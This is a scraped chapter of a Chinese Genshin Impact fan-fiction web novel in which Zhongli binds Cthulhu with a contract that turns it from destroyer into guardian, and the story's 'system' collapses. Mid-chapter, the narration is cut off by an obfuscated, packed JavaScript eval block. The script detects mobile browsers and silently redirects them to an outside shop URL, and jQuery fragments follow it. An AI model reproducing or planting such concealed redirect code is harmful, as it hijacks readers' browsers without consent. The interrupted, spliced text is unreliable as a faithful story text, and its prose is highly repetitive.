文趣网 > 其他小说 > [原神]契约之神的恐怖游戏 > 63.第63章 再立契约
    克苏鲁的绿色眼球在“不过尔尔”四个字中停止了转动。不是它主动停的,而是那四个字在它的左耳中化作了一粒极小的、金色的、正在跳动的光粒。那光粒传入它的大脑,与那些从深潜者的祈祷中吸收的光粒融合,形成了一股它从未感受过的力量——不是疯狂,不是毁灭,而是“秩序”。那秩序在它的左眼瞳孔中停留了不到一秒,然后飘出,落在钟离掌心的五行岩符上,在那些流动的三十二种颜色中,找到了与他心脏旁边三十二粒光粒颜色相同的一粒,在旁边安静地沉了下去。那是钟离心脏旁边的第三十三粒光粒——克苏鲁听到“不过尔尔”时,它左眼中那光芒的颜色。

    钟离的左手按在了契约天平的左边托盘上。左边托盘从透明变成了金色——那些从克苏鲁左眼飘出的光粒,在托盘表面跳动时从金色变成了透明,露出了它本来的颜色。那是克苏鲁从深渊中浮上来时,它左眼中那泪水的颜色。

    他的右手按在了右边托盘上。右边托盘从透明变成了绿色——那些从克苏鲁心中涌出的、在它左眼瞳孔中化作的泪水的颜色,在托盘表面从绿色变成了金色,从金色变成了透明,露出了它本来的颜色。同样是那泪水的颜色。

    天平的两个托盘从静止切换到了旋转,从旋转切换到了称量。左边托盘的重量是克苏鲁在深渊中沉睡了不知多少亿年、从深潜者的祈祷中吸收的金色光粒的总和;右边托盘的重量是克苏鲁听到“不过尔尔”时,它左眼中那泪水的重量。两个重量在天平的横梁上相遇,不是对抗,不是融合,而是像两条不同的河流在交汇处形成了一道新的水流。那水流的名字,不是“疯狂”,不是“毁灭”,不是“沉睡”,而是“守护”。

    钟离的双手从天平上移开,掌心朝上。那本从贞子的善恶记录之书中衍生出的书,在他的掌心中打开了——不是翻到任何一个他曾使用过的页面,而是翻到了全书最前面的那一页。那一页的标题只有一个字:“改”。不是修改的改,不是改正的改,而是改变的改——是在规则不公、契约无效时,将存在的故事从“毁灭”改写成“守护”。

    钟离的左手按在了那本空白的书页上。他的掌心贴在纸面上,感觉到了宇宙在创造这本书时注入的第一缕温度。那温度的名字,不是“岩元素”,不是“契约之力”,而是“传说编织”。编织不是编造,不是欺骗,而是他在七个世界中走过的路、见过的人、签下的契约、支付的代价、保护的生命、改写的规则、编织的传说、封印的鬼王、收集的光粒——在同一瞬间被他的掌心吸收、混合、折射后,从纸面上射出的光的颜色。

    那光在克苏鲁的左眼瞳孔中停留了不到一秒,然后飘入它的心中,与那些从深潜者的祈祷中吸收的金色光粒融合,化作了一粒新的、更亮的、正在跳动的光粒。那是它心脏旁边的第三粒光粒——钟离将“传说编织”注入它意识的那一刻,它左眼中那光芒的颜色。

    克苏鲁的绿色眼球在那粒光粒跳动的瞬间,从绿色变成了金色,从金色变成了一种更接近“透明”的颜色。那些从深潜者的祈祷中吸收的金色光粒,在被那粒新的光粒吸收时,从金色变成了透明,露出了它们本来的颜色——那些深潜者在祈祷时,从它们左眼中那泪水的颜色。那些泪水在克苏鲁的心中化作了一滴泪,那泪在它左眼瞳孔中化作了一粒极小的、金色的、正在跳动的光粒。那是它心脏旁边的第四粒光粒——深潜者的祈祷被“传说编织”转化时,它们左眼中那泪水的颜色。

    钟离的右手按在了克苏鲁的额头上。不是按压,不是抚摸,而是一种更接近“书写”的触碰。他将掌心的温度、指甲缝里的光粒、左眼中的金色光芒,通过克苏鲁的额头传入它的大脑,与那些从深潜者的祈祷中吸收的光粒融合,形成了一行字:“从今天起,你是守护者,不是毁灭者。”

    那十四个字在克苏鲁的大脑中停留了不到一秒,然后传入它的心中,与那些光粒融合,化作了一粒新的、更亮的、正在跳动的光粒。那是它心脏旁边的第五粒光粒——钟离说“从今天起,你是守护者”时,他左眼中那光芒的颜色。

    克苏鲁的身体在那粒光粒跳动的瞬间,从绿色变成了金色,从金色变成了一种更接近“透明”的颜色。那些从深潜者的祈祷中吸收的金色光粒被吸收,露出了它本来的颜色——它在从深渊中浮上来时,左眼中那泪水的颜色。那泪水在它的左眼中停留了不知多少亿年,在听到“从今天起,你是守护者”时,从它的左眼中涌出,化作了一粒极小的、金色的、正在跳动的光粒。那是它心脏旁边的第六粒光粒——它在听到那句话时,左眼中那光芒的颜色。

    克苏鲁的嘴唇张开了一条缝。从它喉咙中挤出的不是低语,不是疯狂,而是“契约”的语言。那是宇宙在它灵魂中刻下的第九个字——“守护”。不是“守”或“护”,而是“守护”本身,是所有守护者在被创造出来的那一刻,宇宙在他们灵魂中刻下的存在证明。

    那印记在克苏鲁的灵魂中沉睡了不知多少亿年,在钟离说出“从今天起,你是守护者”时醒来,在它左眼瞳孔中化作了一盏灯。那灯的颜色,是它从深渊中浮上来时左眼中那泪水的颜色。那泪水在它说“守护”时,从它的左眼中涌出,化作了一粒极小的、金色的、正在跳动的光粒。那是它心脏旁边的第七粒光粒——它在说“守护”时,左眼中那光芒的颜色。

    钟离的左眼微微亮了一下。他的嘴唇张开,那十二个字从他的嘴唇中挤出,声音不高不低,语调温和而从容,就像在说“契约已成”一样自然。

    “契约已成,后会有期。”

    那十二个字在克苏鲁的左耳中停留了不到一秒,传入它的大脑,与那些光粒融合,化作了一粒新的、更亮的、正在跳动的光粒。那是它心脏旁边的第八粒光粒——它在听到“契约已成”时,左眼中那光芒的颜色。

    系统的声音在钟离的意识中响起了。不是冷漠的信息通报,不是尖锐的警告,而是一种他从未听过的、几乎是崩溃的声音:“警告!系

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641351|205038||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    统无法处理当前契约改写!契约者0000号正在将旧神的存在规则从‘毁灭’改写为‘守护’,该操作超出系统权限范围!系统无法评估后果、无法记录过程、无法验证结果!系统建议……系统崩溃中……重启中……契约者0000号,您已超越系统预设的所有规则。从此刻起,您的一切行为,将由您自己负责。”

    钟离的左眼微微眯了一下。他的嘴唇张开,那七个字从他的嘴唇中挤出,温和而从容,就像在说“我知道了”一样自然:“我知道了。”

    那七个字在他的意识中回荡了不到一秒,然后被系统的沉默覆盖了。系统在崩溃后退出了他的意识,在它的核心中刻下了最后一句话:“契约者0000号,您自由了。”

    钟离的左手从克苏鲁的额头上移开,垂在身侧。他的右手将掌心那张五行岩符收回袖中,符的表面那些流动的三十三种颜色从他的掌心飘出,飘向他的心脏,在他心脏旁边那三十三粒光粒中安静地沉了下去。那是他心脏旁边的第三十四粒光粒——系统说“您自由了”时,他左眼中那光芒的颜色。

    克苏鲁的身体在神殿的中心缓缓下沉。不是沉入深渊,而是沉入它的梦中。那些从深潜者的祈祷中吸收的金色光粒,在被“传说编织”改写后,从它心中涌出,在它身体周围形成了一层透明的、金色的屏障。那屏障将它从“苏醒”切换到了“沉睡”,从“沉睡”切换到了“守护”。它在沉睡中守护的不再是旧神的荣光,不是深潜者的祈祷,不是拉莱耶城的梦,而是那些从深潜者的左眼中涌出的泪水——在它心中化作的、在它左眼瞳孔中亮起的、在它喉咙中说出的“守护”二字。那两个字在它的梦中化作了一盏灯,那灯的颜色,是它从深渊中浮上来时左眼中那泪水的颜色。那泪水在它沉入梦中时,从它的左眼中涌出,滴在神殿的地面上,化作了一粒极小的、金色的、正在跳动的光粒。那是它在离开这个世界时,心中留下的最后一粒光粒——它在听到“守护”时,左眼中那光芒的颜色。

    钟离转身,向神殿的门口走去。月白色的长衫在神殿的光芒中被染成了金色,白发垂在肩后,发梢的金色结晶在黑暗中像一盏盏被点亮的小灯。他的皮鞋踩在神殿的地面上,发出的不是嗒嗒声,而是他在六千七百年的岁月中,在提瓦特的每一块岩石上走过无数次的声音。那声音在深潜者的左耳中被翻译成一句话:“旧神不再是旧神了,它是守护者了。我们的祈祷不再是祈祷了,是契约了。我们的低语不再是低语了,是古老契约的语言了。”

    克苏鲁的低语在神殿中回荡着——不是疯狂,不是毁灭,而是它在沉睡中,从它左眼瞳孔中那盏灯的灯光中,从它喉咙中挤出的、关于“守护”的语言。那语言在深潜者的左耳中,在钟离的左耳中,在拉莱耶城的每一块基石中,在海沟的每一粒泥沙中,在海洋的每一滴水中,在天空的每一朵云中,化作了古老契约的语言。那语言的名字,不是“疯狂”,不是“毁灭”,不是“沉睡”,而是“守护”。